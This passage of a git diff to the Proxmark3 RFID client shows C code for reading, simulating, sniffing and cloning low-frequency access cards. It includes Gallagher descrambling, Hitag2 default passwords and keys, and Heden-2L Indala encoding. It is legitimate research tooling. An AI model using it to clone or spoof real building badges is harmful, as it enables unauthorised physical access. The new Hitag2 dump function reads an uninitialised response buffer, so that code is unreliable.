['h' 134] \n\t\t-- Modulate LF reader field to send command before read (all periods in microseconds)"}, - {"read", CmdLFRead, IfPm3Lf, "['s' silent] Read 125/134 kHz LF ID-only tag. Do 'lf read h' for help"}, - {"search", CmdLFfind, AlwaysAvailable, "[offline] ['u'] Read and Search for valid known tag (in offline mode it you can load first then search) \n\t\t-- 'u' to search for unknown tags"}, - {"sim", CmdLFSim, IfPm3Lf, "[GAP] -- Simulate LF tag from buffer with optional GAP (in microseconds)"}, - {"simask", CmdLFaskSim, IfPm3Lf, "[clock] [invert <1|0>] [biphase/manchester/raw <'b'|'m'|'r'>] [msg separator 's'] [d ] \n\t\t-- Simulate LF ASK tag from demodbuffer or input"}, - {"simfsk", CmdLFfskSim, IfPm3Lf, "[c ] [i] [H ] [L ] [d ] \n\t\t-- Simulate LF FSK tag from demodbuffer or input"}, - {"simpsk", CmdLFpskSim, IfPm3Lf, "[1|2|3] [c ] [i] [r ] [d ] \n\t\t-- Simulate LF PSK tag from demodbuffer or input"}, + {"cmdread", CmdLFCommandRead, IfPm3Lf, "Modulate LF reader field to send command before read (all periods in microseconds)"}, + {"read", CmdLFRead, IfPm3Lf, "Read LF tag"}, + {"search", CmdLFfind, AlwaysAvailable, "Read and Search for valid known tag (in offline mode it you can load first then search)"}, + {"sim", CmdLFSim, IfPm3Lf, "Simulate LF tag from buffer with optional GAP (in microseconds)"}, + {"simask", CmdLFaskSim, IfPm3Lf, "Simulate LF ASK tag from demodbuffer or input"}, + {"simfsk", CmdLFfskSim, IfPm3Lf, "Simulate LF FSK tag from demodbuffer or input"}, + {"simpsk", CmdLFpskSim, IfPm3Lf, "Simulate LF PSK tag from demodbuffer or input"}, +// {"simpsk", CmdLFnrzSim, IfPm3Lf, "Simulate LF NRZ tag from demodbuffer or input"}, {"simbidir", CmdLFSimBidir, IfPm3Lf, "Simulate LF tag (with bidirectional data transmission between reader and tag)"}, {"sniff", CmdLFSniff, IfPm3Lf, "Sniff LF traffic between reader and tag"}, {"tune", CmdLFTune, IfPm3Lf, "Continuously measure LF antenna tuning"}, // {"vchdemod", CmdVchDemod, AlwaysAvailable, "['clone'] -- Demodulate samples for VeriChip"}, - {"flexdemod", CmdFlexdemod, AlwaysAvailable, "Demodulate samples for Motorola FlexPass"}, +// {"flexdemod", CmdFlexdemod, AlwaysAvailable, "Demodulate samples for Motorola FlexPass"}, {NULL, NULL, NULL, NULL} }; diff --git a/client/cmdlf.h b/client/cmdlf.h index 3f0670d1f..7393405ba 100644 --- a/client/cmdlf.h +++ b/client/cmdlf.h @@ -32,7 +32,7 @@ int CmdLFSniff(const char *Cmd); int CmdVchDemod(const char *Cmd); int CmdLFfind(const char *Cmd); -int lf_read(bool silent, uint32_t samples); +int lf_read(bool verbose, uint32_t samples); int lf_config(sample_config *config); #endif diff --git a/client/cmdlfawid.c b/client/cmdlfawid.c index e9fe6d6e1..38c3675d1 100644 --- a/client/cmdlfawid.c +++ b/client/cmdlfawid.c @@ -333,7 +333,7 @@ static int CmdAWIDDemod(const char *Cmd) { // this read is the "normal" read, which download lf signal and tries to demod here. static int CmdAWIDRead(const char *Cmd) { - lf_read(true, 12000); + lf_read(false, 12000); return CmdAWIDDemod(Cmd); } diff --git a/client/cmdlfcotag.c b/client/cmdlfcotag.c index 9c55bf453..abe78a4ea 100644 --- a/client/cmdlfcotag.c +++ b/client/cmdlfcotag.c @@ -96,7 +96,7 @@ static int CmdCOTAGRead(const char *Cmd) { case 2: { CmdPlot(""); CmdGrid("384"); - getSamples(0, true); + getSamples(0, false); break; } case 1: { diff --git a/client/cmdlfem4x.c b/client/cmdlfem4x.c index 5493b124d..a8d7e06e3 100644 --- a/client/cmdlfem4x.c +++ b/client/cmdlfem4x.c @@ -468,7 +468,7 @@ static int CmdEM410xDemod(const char *Cmd) { // this read is the "normal" read, which download lf signal and tries to demod here. static int CmdEM410xRead(const char *Cmd) { - lf_read(true, 12288); + lf_read(false, 12288); return CmdEM410xDemod(Cmd); } @@ -625,7 +625,7 @@ static int CmdEM410xWatch(const char *Cmd) { PrintAndLogEx(WARNING, "\naborted via keyboard!\n"); break; } - lf_read(true, 12288); + lf_read(false, 12288); } while (CmdEM410xRead("") != PM3_SUCCESS); return PM3_SUCCESS; diff --git a/client/cmdlffdx.c b/client/cmdlffdx.c index 06e45f515..2f3f81d1d 100644 --- a/client/cmdlffdx.c +++ b/client/cmdlffdx.c @@ -258,7 +258,7 @@ static int CmdFdxDemod(const char *Cmd) { } static int CmdFdxRead(const char *Cmd) { - lf_read(true, 10000); + lf_read(false, 10000); return CmdFdxDemod(Cmd); } diff --git a/client/cmdlffdx.h b/client/cmdlffdx.h index d8b666ccb..63043c7c2 100644 --- a/client/cmdlffdx.h +++ b/client/cmdlffdx.h @@ -14,7 +14,7 @@ int CmdLFFdx(const char *Cmd); int detectFDXB(uint8_t *dest, size_t *size); int demodFDX(void); -int getFDXBits(uint64_t national_id, uint16_t country, uint8_t isanimal, uint8_t isextended, uint32_t extended, uint8_t *bits); +int getFDXBits(uint64_t national_id, uint16_t country, uint8_t is_animal, uint8_t is_extended, uint32_t extended, uint8_t *bits); #endif diff --git a/client/cmdlfgallagher.c b/client/cmdlfgallagher.c index 9704afc60..ef28f1326 100644 --- a/client/cmdlfgallagher.c +++ b/client/cmdlfgallagher.c @@ -12,7 +12,7 @@ #include "cmdlfgallagher.h" #include //tolower - +#include #include "commonutil.h" // ARRAYLEN #include "common.h" #include "cmdparser.h" // command_t @@ -23,6 +23,7 @@ #include "lfdemod.h" // preamble test #include "protocols.h" // t55xx defines #include "cmdlft55xx.h" // clone.. +#include "crc.h" // CRC8/Cardx static int CmdHelp(const char *Cmd); @@ -39,6 +40,32 @@ static int usage_lf_gallagher_clone(void) { return PM3_SUCCESS; } +static void descramble(uint8_t *arr, uint8_t len) { + + uint8_t lut[] = { + 0xa3, 0xb0, 0x80, 0xc6, 0xb2, 0xf4, 0x5c, 0x6c, 0x81, 0xf1, 0xbb, 0xeb, 0x55, 0x67, 0x3c, 0x05, + 0x1a, 0x0e, 0x61, 0xf6, 0x22, 0xce, 0xaa, 0x8f, 0xbd, 0x3b, 0x1f, 0x5e, 0x44, 0x04, 0x51, 0x2e, + 0x4d, 0x9a, 0x84, 0xea, 0xf8, 0x66, 0x74, 0x29, 0x7f, 0x70, 0xd8, 0x31, 0x7a, 0x6d, 0xa4, 0x00, + 0x82, 0xb9, 0x5f, 0xb4, 0x16, 0xab, 0xff, 0xc2, 0x39, 0xdc, 0x19, 0x65, 0x57, 0x7c, 0x20, 0xfa, + 0x5a, 0x49, 0x13, 0xd0, 0xfb, 0xa8, 0x91, 0x73, 0xb1, 0x33, 0x18, 0xbe, 0x21, 0x72, 0x48, 0xb6, + 0xdb, 0xa0, 0x5d, 0xcc, 0xe6, 0x17, 0x27, 0xe5, 0xd4, 0x53, 0x42, 0xf3, 0xdd, 0x7b, 0x24, 0xac, + 0x2b, 0x58, 0x1e, 0xa7, 0xe7, 0x86, 0x40, 0xd3, 0x98, 0x97, 0x71, 0xcb, 0x3a, 0x0f, 0x01, 0x9b, + 0x6e, 0x1b, 0xfc, 0x34, 0xa6, 0xda, 0x07, 0x0c, 0xae, 0x37, 0xca, 0x54, 0xfd, 0x26, 0xfe, 0x0a, + 0x45, 0xa2, 0x2a, 0xc4, 0x12, 0x0d, 0xf5, 0x4f, 0x69, 0xe0, 0x8a, 0x77, 0x60, 0x3f, 0x99, 0x95, + 0xd2, 0x38, 0x36, 0x62, 0xb7, 0x32, 0x7e, 0x79, 0xc0, 0x46, 0x93, 0x2f, 0xa5, 0xba, 0x5b, 0xaf, + 0x52, 0x1d, 0xc3, 0x75, 0xcf, 0xd6, 0x4c, 0x83, 0xe8, 0x3d, 0x30, 0x4e, 0xbc, 0x08, 0x2d, 0x09, + 0x06, 0xd9, 0x25, 0x9e, 0x89, 0xf2, 0x96, 0x88, 0xc1, 0x8c, 0x94, 0x0b, 0x28, 0xf0, 0x47, 0x63, + 0xd5, 0xb3, 0x68, 0x56, 0x9c, 0xf9, 0x6f, 0x41, 0x50, 0x85, 0x8b, 0x9d, 0x59, 0xbf, 0x9f, 0xe2, + 0x8e, 0x6a, 0x11, 0x23, 0xa1, 0xcd, 0xb5, 0x7d, 0xc7, 0xa9, 0xc8, 0xef, 0xdf, 0x02, 0xb8, 0x03, + 0x6b, 0x35, 0x3e, 0x2c, 0x76, 0xc9, 0xde, 0x1c, 0x4b, 0xd1, 0xed, 0x14, 0xc5, 0xad, 0xe9, 0x64, + 0x4a, 0xec, 0x8d, 0xf7, 0x10, 0x43, 0x78, 0x15, 0x87, 0xe4, 0xd7, 0x92, 0xe1, 0xee, 0xe3, 0x90 + }; + + for (int i = 0; i < len; i++) { + arr[i] = lut[arr[i]]; + } +} + //see ASK/MAN Demod for what args are accepted static int CmdGallagherDemod(const char *Cmd) { @@ -71,15 +98,44 @@ static int CmdGallagherDemod(const char *Cmd) { uint32_t raw2 = bytebits_to_byte(DemodBuffer + 32, 32); uint32_t raw3 = bytebits_to_byte(DemodBuffer + 64, 32); - // preamble CS? + // bytes + uint8_t arr[8] = {0}; + for (int i = 0, pos = 0; i < ARRAYLEN(arr); i++) { + pos = (i * 8) + i; + arr[i] = bytebits_to_byte(DemodBuffer + pos, 8); + printf("%d -", pos); + } + printf("\n"); - PrintAndLogEx(SUCCESS, "GALLAGHER Tag Found -- Raw: %08X%08X%08X", raw1, raw2, raw3); - PrintAndLogEx(INFO, "How the Raw ID is translated by the reader is unknown. Share your trace file on forum"); + // crc + uint8_t crc = bytebits_to_byte(DemodBuffer + 72, 8); + uint8_t calc_crc = CRC8Cardx(arr, ARRAYLEN(arr)); + + PrintAndLogEx(INFO, " Before: %s", sprint_hex(arr, 8)); + descramble(arr, ARRAYLEN(arr)); + PrintAndLogEx(INFO, " After : %s", sprint_hex(arr, 8)); + + // 4bit region code + uint8_t rc = (arr[3] & 0x0E) >> 1; + + // 16bit FC + uint16_t fc = (arr[5] & 0x0F) << 12 | arr[1] << 4 | ((arr[7] >> 4) & 0x0F); + + // 24bit CN + uint32_t cn = arr[0] << 16 | (arr[4] & 0x1F) << 11 | arr[2] << 3 | (arr[3] & 0xE0) >> 4; + + // 4bit issue level + uint8_t il = arr[7] & 0x0F; + + PrintAndLogEx(SUCCESS, "GALLAGHER Tag Found -- Region: %u FC: %u CN: %u Issue Level: %u", rc, fc, cn, il); + PrintAndLogEx(SUCCESS, " Printed: %C%u", rc + 0x40, fc); + PrintAndLogEx(SUCCESS, " Raw: %08X%08X%08X", raw1, raw2, raw3); + PrintAndLogEx(SUCCESS, " CRC: %02X - %02X (%s)", crc, calc_crc, (crc == calc_crc) ? "OK" : "Failed"); return PM3_SUCCESS; } static int CmdGallagherRead(const char *Cmd) { - lf_read(true, 4096 * 2 + 20); + lf_read(false, 4096 * 2 + 20); return CmdGallagherDemod(Cmd); } @@ -126,7 +182,6 @@ static int CmdGallagherClone(const char *Cmd) { } static int CmdGallagherSim(const char *Cmd) { - // ASK/MAN sim. PrintAndLogEx(INFO, " To be implemented, feel free to contribute!"); return PM3_SUCCESS; @@ -152,20 +207,14 @@ int CmdLFGallagher(const char *Cmd) { return CmdsParse(CommandTable, Cmd); } -// by marshmellow -// find PAC preamble in already demoded data +// find Gallagher preamble in already demoded data int detectGallagher(uint8_t *dest, size_t *size) { if (*size < 96) return -1; //make sure buffer has data size_t startIdx = 0; - uint8_t preamble[] = { - //0, 0, 0, 0, - 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 0, 1, - 0, 1, 0, 1, 0, 1, 0, 0, - 0, 1, 1, 0, 0, 0 - }; + uint8_t preamble[] = { 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0 }; if (!preambleSearch(dest, preamble, sizeof(preamble), size, &startIdx)) return -2; //preamble not found + if (*size != 96) return -3; //wrong demoded size //return start position return (int)startIdx; diff --git a/client/cmdlfguard.c b/client/cmdlfguard.c index 79ec13c71..8597f4759 100644 --- a/client/cmdlfguard.c +++ b/client/cmdlfguard.c @@ -147,7 +147,7 @@ static int CmdGuardDemod(const char *Cmd) { } static int CmdGuardRead(const char *Cmd) { - lf_read(true, 10000); + lf_read(false, 10000); return CmdGuardDemod(Cmd); } diff --git a/client/cmdlfhid.c b/client/cmdlfhid.c index f5ad3717b..201dcef84 100644 --- a/client/cmdlfhid.c +++ b/client/cmdlfhid.c @@ -255,7 +255,7 @@ static int CmdHIDDemod(const char *Cmd) { // this read is the "normal" read, which download lf signal and tries to demod here. static int CmdHIDRead(const char *Cmd) { - lf_read(true, 12000); + lf_read(false, 12000); return CmdHIDDemod(Cmd); } @@ -342,7 +342,8 @@ static int CmdHIDClone(const char *Cmd) { } clearCommandBuffer(); - SendCommandOLD(CMD_LF_HID_CLONE, hi2, hi, lo, longid, sizeof(longid)); + SendCommandMIX(CMD_LF_HID_CLONE, hi2, hi, lo, longid, sizeof(longid)); + PrintAndLogEx(INFO, "Clone command sent. Try "_YELLOW_("'lf hid read'") " to verify"); return PM3_SUCCESS; } diff --git a/client/cmdlfhitag.c b/client/cmdlfhitag.c index 40e909024..4d699541e 100644 --- a/client/cmdlfhitag.c +++ b/client/cmdlfhitag.c @@ -18,6 +18,7 @@ #include "commonutil.h" #include "hitag.h" #include "fileutils.h" // savefile +#include "protocols.h" // defines static int CmdHelp(const char *Cmd); @@ -35,7 +36,7 @@ static int usage_hitag_sniff(void) { PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " lf hitag sniff"); - return 0; + return PM3_SUCCESS; } static int usage_hitag_sim(void) { PrintAndLogEx(NORMAL, "Simulate " _YELLOW_("Hitag2 / HitagS")" transponder"); @@ -49,7 +50,7 @@ static int usage_hitag_sim(void) { PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " lf hitag sim 2 b lf-hitag-dump"); - return 0; + return PM3_SUCCESS; } static int usage_hitag_info(void) { PrintAndLogEx(NORMAL, "Usage: lf hitag info [h] p "); @@ -58,7 +59,7 @@ static int usage_hitag_info(void) { PrintAndLogEx(NORMAL, " p password"); PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " lf hitag info"); - return 0; + return PM3_SUCCESS; } /* static int usage_hitag_dump(void) { @@ -71,7 +72,7 @@ static int usage_hitag_dump(void) { PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " lf hitag dump f mydump"); PrintAndLogEx(NORMAL, " lf hitag dump p 4D494B52 f mydump"); - return 0; + return PM3_SUCCESS; } */ static int usage_hitag_reader(void) { @@ -85,12 +86,12 @@ static int usage_hitag_reader(void) { PrintAndLogEx(NORMAL, " Hitag1 (1*)"); PrintAndLogEx(NORMAL, " Not implemented"); PrintAndLogEx(NORMAL, " Hitag2 (2*)"); - PrintAndLogEx(NORMAL, " 21 Read all pages, password mode. Default: 4D494B52 (\"MIKR\")"); + PrintAndLogEx(NORMAL, " 21 Read all pages, password mode. Default: " _YELLOW_("4D494B52") "(\"MIKR\")"); PrintAndLogEx(NORMAL, " 22 Read all pages, challenge mode"); - PrintAndLogEx(NORMAL, " 23 Read all pages, crypto mode. Key format: ISK high + ISK low. Default: 4F4E4D494B52 (\"ONMIKR\")"); + PrintAndLogEx(NORMAL, " 23 Read all pages, crypto mode. Key format: ISK high + ISK low. Default: " _YELLOW_("4F4E4D494B52") "(\"ONMIKR\")"); PrintAndLogEx(NORMAL, " 25 Test recorded authentications"); PrintAndLogEx(NORMAL, " 26 Just read UID"); - return 0; + return PM3_SUCCESS; } static int usage_hitag_writer(void) { PrintAndLogEx(NORMAL, "Hitag writer functions"); @@ -106,7 +107,7 @@ static int usage_hitag_writer(void) { PrintAndLogEx(NORMAL, " 24 Write page, crypto mode. Key format: ISK high + ISK low."); PrintAndLogEx(NORMAL, " Default: 4F4E4D494B52 (\"ONMIKR\"). Set key=0 for no auth"); PrintAndLogEx(NORMAL, " 27 Write page, password mode. Default: 4D494B52 (\"MIKR\")"); - return 0; + return PM3_SUCCESS; } static int usage_hitag_checkchallenges(void) { PrintAndLogEx(NORMAL, "Check challenges, load a file with save hitag crypto challenges and test them all."); @@ -119,19 +120,19 @@ static int usage_hitag_checkchallenges(void) { PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " lf hitag cc f lf-hitag-challenges"); - return 0; + return PM3_SUCCESS; } static int CmdLFHitagList(const char *Cmd) { (void)Cmd; // Cmd is not used so far - CmdTraceList("hitag"); - return 0; + CmdTraceList("hitag2"); + return PM3_SUCCESS; /* uint8_t *got = calloc(PM3_CMD_DATA_SIZE, sizeof(uint8_t)); if (!got) { PrintAndLogEx(WARNING, "Cannot allocate memory for trace"); - return 2; + return PM3_EMALLOC; } // Query for the actual size of the trace @@ -139,7 +140,7 @@ static int CmdLFHitagList(const char *Cmd) { if (!GetFromDevice(BIG_BUF, got, PM3_CMD_DATA_SIZE, 0, NULL, 0, &response, 2500, false)) { PrintAndLogEx(WARNING, "command execution time out"); free(got); - return 2; + return PM3_ETIMEOUT; } uint16_t traceLen = response.arg[2]; @@ -148,13 +149,13 @@ static int CmdLFHitagList(const char *Cmd) { if (p == NULL) { PrintAndLogEx(WARNING, "Cannot allocate memory for trace"); free(got); - return 2; + return PM3_EMALLOC; } got = p; if (!GetFromDevice(BIG_BUF, got, traceLen, 0, NULL, 0, NULL, 2500, false)) { PrintAndLogEx(WARNING, "command execution time out"); free(got); - return 2; + return PM3_ETIMEOUT; } } @@ -251,7 +252,7 @@ static int CmdLFHitagList(const char *Cmd) { } free(got); - return 0; + return PM3_SUCCES; */ } @@ -262,7 +263,7 @@ static int CmdLFHitagSniff(const char *Cmd) { clearCommandBuffer(); SendCommandNG(CMD_LF_HITAG_SNIFF, NULL, 0); - return 0; + return PM3_SUCCESS; } static int CmdLFHitagSim(const char *Cmd) { @@ -343,7 +344,7 @@ static int CmdLFHitagSim(const char *Cmd) { } free(data); - return 0; + return PM3_SUCCESS; } static void printHitagConfiguration(uint8_t config) { @@ -483,21 +484,20 @@ static int CmdLFHitagInfo(const char *Cmd) { // read UID uint32_t uid = 0; if (getHitagUid(&uid) == false) - return 1; + return PM3_ESOFT; - PrintAndLogEx(SUCCESS, "UID: %08X", uid); + PrintAndLogEx(SUCCESS, "UID: " _YELLOW_("%08X"), uid); // how to detemine Hitag types? // read block3, get configuration byte. - PrintAndLogEx(FAILED, _RED_("TODO: This is a hardcoded example!")); // common configurations. - printHitagConfiguration(0x06); + // printHitagConfiguration(0x06); //printHitagConfiguration( 0x0E ); //printHitagConfiguration( 0x02 ); //printHitagConfiguration( 0x00 ); //printHitagConfiguration( 0x04 ); - return 0; + return PM3_SUCCESS; } // TODO: iceman @@ -550,39 +550,28 @@ static int CmdLFHitagReader(const char *Cmd) { } clearCommandBuffer(); - SendCommandOLD(cmd, htf, 0, 0, &htd, sizeof(htd)); + SendCommandMIX(cmd, htf, 0, 0, &htd, sizeof(htd)); PacketResponseNG resp; if (!WaitForResponseTimeout(CMD_ACK, &resp, 4000)) { PrintAndLogEx(WARNING, "timeout while waiting for reply."); - return 1; + return PM3_ETIMEOUT; } if (resp.oldarg[0] == false) { PrintAndLogEx(DEBUG, "DEBUG: Error - hitag failed"); - return 1; + return PM3_ESOFT; } uint32_t id = bytes_to_num(resp.data.asBytes, 4); + uint8_t *data = resp.data.asBytes; + PrintAndLogEx(SUCCESS, " UID: " _YELLOW_("%08x"), id); - PrintAndLogEx(SUCCESS, "Valid Hitag2 tag found - UID: %08x", id); if (htf != RHT2F_UID_ONLY) { - - PrintAndLogEx(SUCCESS, "Dumping tag memory..."); - uint8_t *data = resp.data.asBytes; - - char filename[FILE_PATH_SIZE]; - char *fnameptr = filename; - fnameptr += sprintf(fnameptr, "lf-hitag-"); - FillFileNameByUID(fnameptr, data, "-dump", 4); - - saveFile(filename, ".bin", data, 48); - saveFileEML(filename, data, 48, 4); - saveFileJSON(filename, jsfHitag, data, 48); - + // block3, 1 byte printHitagConfiguration(data[4 * 3]); } - return 0; + return PM3_SUCCESS; } static int CmdLFHitagCheckChallenges(const char *Cmd) { @@ -631,7 +620,7 @@ static int CmdLFHitagCheckChallenges(const char *Cmd) { SendCommandMIX(CMD_LF_HITAGS_TEST_TRACES, 0, 0, 0, NULL, 0); free(data); - return 0; + return PM3_SUCCESS; } static int CmdLFHitagWriter(const char *Cmd) { @@ -675,43 +664,97 @@ static int CmdLFHitagWriter(const char *Cmd) { PacketResponseNG resp; if (!WaitForResponseTimeout(CMD_ACK, &resp, 4000)) { PrintAndLogEx(WARNING, "timeout while waiting for reply."); - return 1; + return PM3_ETIMEOUT; } if (resp.oldarg[0] == false) { PrintAndLogEx(DEBUG, "DEBUG: Error - hitag write failed"); - return 1; + return PM3_ESOFT; } - return 0; + return PM3_SUCCESS; } -/* -static int CmdLFHitagDump(const char *Cmd) { +static int CmdLFHitag2Dump(const char *Cmd) { PrintAndLogEx(INFO, "Dumping of tag memory"); - PrintAndLogEx(INFO, "To be done!"); char ctmp = tolower(param_getchar(Cmd, 0)); - if (ctmp == 'h') return usage_hitag_dump(); - return 0; + if (ctmp == 'h') return 0; // usage_hitag_dump(); + + PacketResponseNG resp; + + PrintAndLogEx(SUCCESS, "Dumping tag memory..."); + uint8_t *data = resp.data.asBytes; + + char filename[FILE_PATH_SIZE]; + char *fnameptr = filename; + fnameptr += sprintf(fnameptr, "lf-hitag-"); + FillFileNameByUID(fnameptr, data, "-dump", 4); + + saveFile(filename, ".bin", data, 48); + saveFileEML(filename, data, 48, 4); + saveFileJSON(filename, jsfHitag, data, 48); + + return PM3_SUCCESS; +} + + +// Annotate HITAG protocol +void annotateHitag1(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize) { +} + +void annotateHitag2(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize) { + + uint8_t cmdbits = (cmd[0] & 0xC0) >> 6; + + if (cmdsize == 1) { + if (cmdbits == HITAG2_START_AUTH) { + snprintf(exp, size, "START AUTH"); + return; + } + if (cmdbits == HITAG2_HALT) { + snprintf(exp, size, "HALT"); + return; + } + } + + if (cmdsize == 2) { + if (cmdbits == HITAG2_START_AUTH) { + // C 1 C 0 + // 1100 0 00 1 1100 000 + uint8_t page = (cmd[0] & 0x38) >> 3; + uint8_t inv_page = ((cmd[0] & 0x1) << 2) | ((cmd[1] & 0xC0) >> 6); + snprintf(exp, size, "READ page(%x) %x", page, inv_page); + return; + } + if (cmdbits == HITAG2_WRITE_PAGE) { + uint8_t page = (cmd[0] & 0x38) >> 3; + uint8_t inv_page = ((cmd[0] & 0x1) << 2) | ((cmd[1] & 0xC0) >> 6); + snprintf(exp, size, "WRITE page(%x) %x", page, inv_page); + return; + } + } +} + +void annotateHitagS(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize) { } -*/ static command_t CommandTable[] = { - {"help", CmdHelp, AlwaysAvailable, "This help" }, - {"list", CmdLFHitagList, IfPm3Hitag, "List Hitag trace history" }, - {"info", CmdLFHitagInfo, IfPm3Hitag, "Tag information" }, - {"reader", CmdLFHitagReader, IfPm3Hitag, "Act like a Hitag Reader" }, - {"sim", CmdLFHitagSim, IfPm3Hitag, "Simulate Hitag transponder" }, - {"sniff", CmdLFHitagSniff, IfPm3Hitag, "Eavesdrop Hitag communication" }, - {"writer", CmdLFHitagWriter, IfPm3Hitag, "Act like a Hitag Writer" }, - {"cc", CmdLFHitagCheckChallenges, IfPm3Hitag, "Test all challenges" }, + {"help", CmdHelp, AlwaysAvailable, "This help" }, + {"list", CmdLFHitagList, IfPm3Hitag, "List Hitag trace history" }, + {"info", CmdLFHitagInfo, IfPm3Hitag, "Tag information" }, + {"reader", CmdLFHitagReader, IfPm3Hitag, "Act like a Hitag Reader" }, + {"sim", CmdLFHitagSim, IfPm3Hitag, "Simulate Hitag transponder" }, + {"sniff", CmdLFHitagSniff, IfPm3Hitag, "Eavesdrop Hitag communication" }, + {"writer", CmdLFHitagWriter, IfPm3Hitag, "Act like a Hitag Writer" }, + {"dump", CmdLFHitag2Dump, IfPm3Hitag, "Dump Hitag2 tag" }, + {"cc", CmdLFHitagCheckChallenges, IfPm3Hitag, "Test all challenges" }, { NULL, NULL, 0, NULL } }; static int CmdHelp(const char *Cmd) { (void)Cmd; // Cmd is not used so far CmdsHelp(CommandTable); - return 0; + return PM3_SUCCESS; } int CmdLFHitag(const char *Cmd) { @@ -720,5 +763,5 @@ int CmdLFHitag(const char *Cmd) { } int readHitagUid(void) { - return CmdLFHitagReader("26") == 0; + return (CmdLFHitagReader("26") == PM3_SUCCESS); } diff --git a/client/cmdlfhitag.h b/client/cmdlfhitag.h index c95c0e334..98b9968e0 100644 --- a/client/cmdlfhitag.h +++ b/client/cmdlfhitag.h @@ -16,5 +16,7 @@ int CmdLFHitag(const char *Cmd); int readHitagUid(void); - +void annotateHitag1(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize); +void annotateHitag2(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize); +void annotateHitagS(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize); #endif diff --git a/client/cmdlfindala.c b/client/cmdlfindala.c index 443435f88..9aa98524c 100644 --- a/client/cmdlfindala.c +++ b/client/cmdlfindala.c @@ -31,7 +31,7 @@ static int CmdHelp(const char *Cmd); //large 224 bit indala formats (different preamble too...) -static uint8_t preamble224[] = {1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1}; +static uint8_t preamble224[] = {1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; // standard 64 bit indala formats including 26 bit 40134 format static uint8_t preamble64[] = {1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1}; @@ -58,16 +58,91 @@ static int usage_lf_indala_sim(void) { PrintAndLogEx(NORMAL, "Enables simulation of Indala card with specified uid."); PrintAndLogEx(NORMAL, "Simulation runs until the button is pressed or another USB command is issued."); PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(NORMAL, "Usage: lf indala sim [h] "); + PrintAndLogEx(NORMAL, "Usage: lf indala sim [h] "); PrintAndLogEx(NORMAL, "Options:"); - PrintAndLogEx(NORMAL, " h : This help"); - PrintAndLogEx(NORMAL, " : 64/224 UID"); + PrintAndLogEx(NORMAL, " h : This help"); + PrintAndLogEx(NORMAL, " u : 64/224 UID"); + PrintAndLogEx(NORMAL, " c : Cardnumber for Heden 2L format (decimal)"); PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " lf indala sim deadc0de"); return PM3_SUCCESS; } +#define HEDEN2L_OFFSET 31 +static void encodeHeden2L(uint8_t *dest, uint32_t cardnumber) { + + uint8_t template[] = { + 1, 0, 1, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 1, 0, 0, 0, 1, 0, 0, 0, + 1, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 1, 0, 0, 1, + 0, 0, 0, 0, 0, 0, 1, 0 + }; + uint8_t cardbits[32]; + + num_to_bytebits(cardnumber, sizeof(cardbits), cardbits); + + if (cardbits[31] == 1) template[HEDEN2L_OFFSET + 8] = 0x1; + if (cardbits[30] == 1) template[HEDEN2L_OFFSET + 10] = 0x1; + if (cardbits[29] == 1) template[HEDEN2L_OFFSET + 14] = 0x1; + if (cardbits[28] == 1) template[HEDEN2L_OFFSET + 15] = 0x1; + if (cardbits[27] == 1) template[HEDEN2L_OFFSET + 12] = 0x1; + if (cardbits[26] == 1) template[HEDEN2L_OFFSET + 28] = 0x1; + if (cardbits[25] == 1) template[HEDEN2L_OFFSET + 3] = 0x1; + if (cardbits[24] == 1) template[HEDEN2L_OFFSET + 11] = 0x1; + if (cardbits[23] == 1) template[HEDEN2L_OFFSET + 19] = 0x1; + if (cardbits[22] == 1) template[HEDEN2L_OFFSET + 26] = 0x1; + if (cardbits[21] == 1) template[HEDEN2L_OFFSET + 17] = 0x1; + if (cardbits[20] == 1) template[HEDEN2L_OFFSET + 18] = 0x1; + if (cardbits[19] == 1) template[HEDEN2L_OFFSET + 20] = 0x1; + if (cardbits[18] == 1) template[HEDEN2L_OFFSET + 13] = 0x1; + if (cardbits[17] == 1) template[HEDEN2L_OFFSET + 7] = 0x1; + if (cardbits[16] == 1) template[HEDEN2L_OFFSET + 23] = 0x1; + + // Parity + uint8_t counter = 0; + for (int i = 0; i < sizeof(template) - HEDEN2L_OFFSET; i++) { + if (template[i]) + counter++; + } + template[63] = (counter & 0x1); + + for (int i = 0; i < sizeof(template); i += 8) { + dest[i / 8] = bytebits_to_byte(template + i, 8); + } + + PrintAndLogEx(INFO, "Heden-2L card number %u", cardnumber); +} + +static void decodeHeden2L(uint8_t *bits) { + + uint32_t cardnumber = 0; + uint8_t offset = HEDEN2L_OFFSET; + + if (bits[offset + 8]) cardnumber += 1; + if (bits[offset + 10]) cardnumber += 2; + if (bits[offset + 14]) cardnumber += 4; + if (bits[offset + 15]) cardnumber += 8; + if (bits[offset + 12]) cardnumber += 16; + if (bits[offset + 28]) cardnumber += 32; + if (bits[offset + 3]) cardnumber += 64; + if (bits[offset 